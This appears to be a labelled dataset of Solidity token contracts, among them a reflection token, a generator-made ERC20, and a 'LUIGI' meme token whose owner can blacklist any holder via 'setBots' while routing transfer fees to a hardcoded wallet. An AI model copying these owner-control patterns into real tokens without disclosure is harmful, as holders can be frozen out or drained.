address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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|
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor(string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/HelloERC20.sol
pragma solidity ^0.8.0;
/**
* @title HelloERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the HelloERC20
*/
contract HelloERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") {
constructor(
string memory name_,
string memory symbol_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "HelloERC20") {
_mint(_msgSender(), 10000e18);
}
}
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/*
Luigi - Luigi Token
Telegram: t.me/https://t.me/LuigiTokenETH
https://twitter.com/LuigiETHToken
88 88 88
88 "" ""
88
88 88 88 88 ,adPPYb,d8 88
88 88 88 88 a8" `Y88 88
88 88 88 88 8b 88 88
88 "8a, ,a88 88 "8a, ,d88 88
88 `"YbbdP'Y8 88 `"YbbdP"Y8 88
aa, ,88
"Y8bbdP"
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LUIGI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "LUIGI";
string private constant _symbol = "LUIGI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x84a7474b3A7F5133F55875Ea58B575e7e53337c0);
_feeAddrWallet2 = payable(0x84a7474b3A7F5133F55875Ea58B575e7e53337c0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30326400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x3C66D9C8d94337EE35B0F00E769eF7637A33d037;
}
